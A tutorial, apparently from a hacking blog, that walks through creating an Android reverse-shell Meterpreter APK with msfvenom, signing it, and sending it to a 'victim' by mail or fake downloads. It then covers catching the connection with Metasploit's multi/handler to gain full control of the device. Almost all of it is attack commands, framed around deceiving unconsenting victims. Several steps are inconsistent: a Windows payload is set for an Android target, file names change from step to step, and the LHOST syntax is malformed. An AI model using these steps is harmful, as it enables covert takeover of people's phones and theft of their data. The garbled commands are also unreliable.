Hacking Android Using Metasploit

Step 1:- Create A Payload. Using "MSFVENOM", We Create A Payload .apk File. For This, We Use The Following Command:

    msfvenom –p android/meterpreter/reverse_tcp LHOST = Localhost = 192.168.0.101 LPORT = 4444 R > RK.apk

After This Command, Now You Can Locate Your File On The Desktop With The Name "RK.apk".

Step 2:- "Keytool" Making "Keystore".

    keytool -genkey -V -keystore key.keystore -alias hacked -keyalg  RSA -keysize 2048 -validity 10000

 

Step 3:- Signing A .apk File With "Jarsigner"
    jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore  /home/kali/Desktop/key.keystore android_RK.apk kali

 

Step 4:- Installing "Zipalign". Zipalign Is Not Preinstalled In Kali Linux, So You Will Have To "Install" It First.
    zipalign -v 4 android_shell.apk singed_jar.apk

 

Step 5:- "Verifying" The .apk Into A New File Using Zipalign
    zipalign -v 4 RK.apk /home/kali/Desktop/test1.apk
Now We Have Signed Our RK.apk File Successfully And It Can Be Run On Any Android Environment. Our New Filename Is Test1.apk After The "Verification With Zipalign".
    Malicious .apk File "Ready To Install"

Step 6:- Send Apk File To "Victim".

Step 7:- Starting Metasploit
The Next Step Is To Set Up The Listener On The Kali Linux Machine With "multi/handler" Payload Using "Metasploit".
    msfconsole
Metasploit Begins With The Console.

 

Step 8:- Choosing The Exploit Method As I Have Said The Metasploit Framework Console Has Many Exploitation Method. In This We Will Use The Multi Handler.
    use exploit/multi/handler

Step 9:- Setting The "Payload" In Above Step We Set Our Exploitation Method. In This Step We Need To Specify The Payload That We Have Created.
    set payload windows/meterpreter/reverse_tcp

Step 10:- Providing "Ip & Port" For "Backdooring". In This Step We Need To Provide The Ip Address Of Our Machine So That The Payload Will Connect To Our System. 

To Find The "Ip Address", Open Terminal And Type "Ifconfig", And Copy Your Ip Address. Then We Have To Set It In The Msfconsole, So Type Set LHOST 192.168.0.101 (Your Ip Address)
Then We Have To Set Lport In The Msfconsole, So Type Set LPORT 4444 (Port Number)

Step 11:- "Sending The File And Exploiting" After We Have Given All The Information. We Need To Send The .apk File We Created Before To The Victim Via "Mail Or Fake Downloads". Make Sure That The Victim Install The Files. After Doing It, In The Msfconsole Command, Type Exploit
After This Command It Will Show You The Victim Terminal And You Can Control It.

Step 12:- Now Wait For Your "Victim To Click On Your Payload File".
When Victim Click And Open The File You Will Get A Session.

 

Step 13:- Successfully Got The Meterpreter Session. Bingo! We Got The Meterpreter Session Of The Android Device. We Can Check More Details With The "sysinfo Command", As Mentioned In The Below Screenshot.

Now you have full access of victim android device. Using Commands you can perform multiple attacks on victim device.

To see all commands type help.